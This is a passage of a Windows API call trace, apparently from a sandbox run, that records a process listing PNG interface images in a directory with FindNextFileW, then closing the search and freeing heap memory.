ftLastWriteTime.dwLowDateTime=0x389b9643, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x389df7a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849dbbfe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849dbbfe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cd92f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cff457, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39103941, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39da8d77, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a2457d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x46a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0208.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5d78a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_down.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a7c6a6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_over.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ac634d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b719741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7659fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0208.482] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7b1cb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_bottom_right.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b84a231, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_left.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_corner_top_right.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c89488, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c89488, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x83, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b87038f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_left.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9a0e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84caf5e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84caf5e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0208.483] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cd5742, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cd5742, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b9c6fdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_hover.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_pressed.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cfb89f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84cfb89f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_left_rest.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d219fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d219fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ba393f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_disabled.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc0245f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x45f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_pressed.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6dcb6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d6dcb6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b5506d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="setting_back.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bcadb7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bcadb7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_down.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_over.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bcc0b35, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="shuffle_up.png", cAlternateFileName="")) returned 1 [0208.484] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile16.png", cAlternateFileName="")) returned 1 [0208.485] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a9a2cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a9a2cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bce6c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_bezel.png", cAlternateFileName="")) returned 1 [0208.485] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="tile_drop_shadow.png", cAlternateFileName="")) returned 1 [0208.485] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b32843, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b32843, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd0cdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_down.png", cAlternateFileName="")) returned 1 [0208.485] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b0c6e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b0c6e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd37, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_over.png", cAlternateFileName="")) returned 1 [0208.485] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ae6589, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ae6589, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 1 [0208.485] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ae6589, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ae6589, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bd32f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="timer_up.png", cAlternateFileName="")) returned 0 [0208.485] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0208.486] GetProcessHeap () returned 0x550000 [0208.486] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0208.486] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0208.487] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, 